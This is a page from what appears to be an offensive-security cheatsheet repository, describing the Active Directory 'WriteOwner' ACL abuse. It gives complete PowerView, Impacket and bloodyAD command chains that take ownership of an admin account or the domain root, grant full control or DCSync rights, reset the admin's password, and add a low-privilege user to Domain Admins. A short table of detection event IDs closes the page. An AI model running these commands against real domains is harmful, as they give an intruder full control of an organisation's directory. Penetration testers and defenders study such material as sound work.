repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-22-writeowner-abuse.mdMarkdown121 lines5.0 KiBsource raw download

title: "Attack #22 β€” WriteOwner Abuse" description: "WriteOwner allows an attacker to change the owner of an AD object to themselves. Since the owner of an object has the implicit right to modify the…" category: active-directory subcategory: "ACL Abuse" tags: ["active-directory", "adcs", "credential-access", "delegation"] tools: ["Impacket", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Three/🟑 Attack #22 β€” WriteOwner Abuse.md"#

🟑 Attack #22 β€” WriteOwner Abuse#


πŸ“– How It Works#

WriteOwner allows an attacker to change the owner of an AD object to themselves. Since the owner of an object has the implicit right to modify the object's DACL (WriteDACL), this creates a two-step escalation: take ownership β†’ grant yourself GenericAll/WriteDACL β†’ exploit the object. This is a stepping stone attack, commonly found in enterprise environments due to legacy delegation configurations.

Exploitation Chain#

1. Have WriteOwner on a target object
2. Change owner to yourself β†’ Set-DomainObjectOwner
3. Now you have implicit WriteDACL
4. Grant yourself GenericAll β†’ Add-DomainObjectAcl
5. Exploit: reset password / add to group / DCSync / etc.

βš™οΈ Prerequisites#

Requirement Detail
WriteOwner ACE on target Your principal has WriteOwner in the target's DACL
Domain user account Any authenticated domain user

πŸ› οΈ Tools#

Tool Platform Notes
PowerView Windows Set-DomainObjectOwner, Add-DomainObjectAcl
Impacket β€” owneredit.py Linux Change object ownership remotely
Impacket β€” dacledit.py Linux Modify DACL after taking ownership
bloodyAD Linux set owner command

πŸ’» Full Commands#

πŸ”΄ Full Exploitation Chain (Windows)#

# ── Step 1: Take ownership ────────────────────────────────────────────────────
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity targetadmin -OwnerIdentity low_user -Verbose
# Or for a group:
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity low_user

# ── Step 2: Grant yourself GenericAll (owner has implicit WriteDACL) ──────────
Add-DomainObjectAcl -TargetIdentity targetadmin -PrincipalIdentity low_user -Rights All
# Or for domain root (DCSync):
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity low_user -Rights DCSync

# ── Step 3: Exploit ──────────────────────────────────────────────────────────
# Password reset:
Set-DomainUserPassword -Identity targetadmin -AccountPassword (
  ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
)
# Or add to group:
Add-DomainGroupMember -Identity "Domain Admins" -Members low_user

πŸ”΄ Full Exploitation Chain (Linux)#

# ── Step 1: Take ownership ────────────────────────────────────────────────────
owneredit.py -action write -new-owner low_user -target targetadmin \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

# ── Step 2: Grant GenericAll ──────────────────────────────────────────────────
dacledit.py -action write -rights FullControl -principal low_user -target targetadmin \
  corp.local/low_user:'Password1' -dc-ip 10.10.10.10

# ── Step 3: Exploit ──────────────────────────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  set password targetadmin 'P@ssword123!'

# ── Or bloodyAD shortcut ──────────────────────────────────────────────────────
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
  set owner targetadmin low_user

πŸ›‘οΈ Detection β€” Event IDs#

Event ID Source What to Look For
4662 Security Log (DC) WriteOwner operation on AD object
4670 Security Log (DC) Permissions changed on an object
5136 Security Log (DC) Owner attribute modified

πŸ”— Attack Chain Context#

[WriteOwner] ──→ Take Ownership β†’ WriteDACL β†’ Full Control
         β”‚
         β”œβ”€β”€β†’ πŸ”‘ Two-step escalation: WriteOwner β†’ WriteDACL β†’ GenericAll
         β”œβ”€β”€β†’ πŸ”— Chain with: WriteDACL (#21), GenericAll (#19)
         └──→ πŸ’€ Defeated by: ACL auditing, monitor ownership changes

βœ… Attack #22 β€” WriteOwner Abuse complete.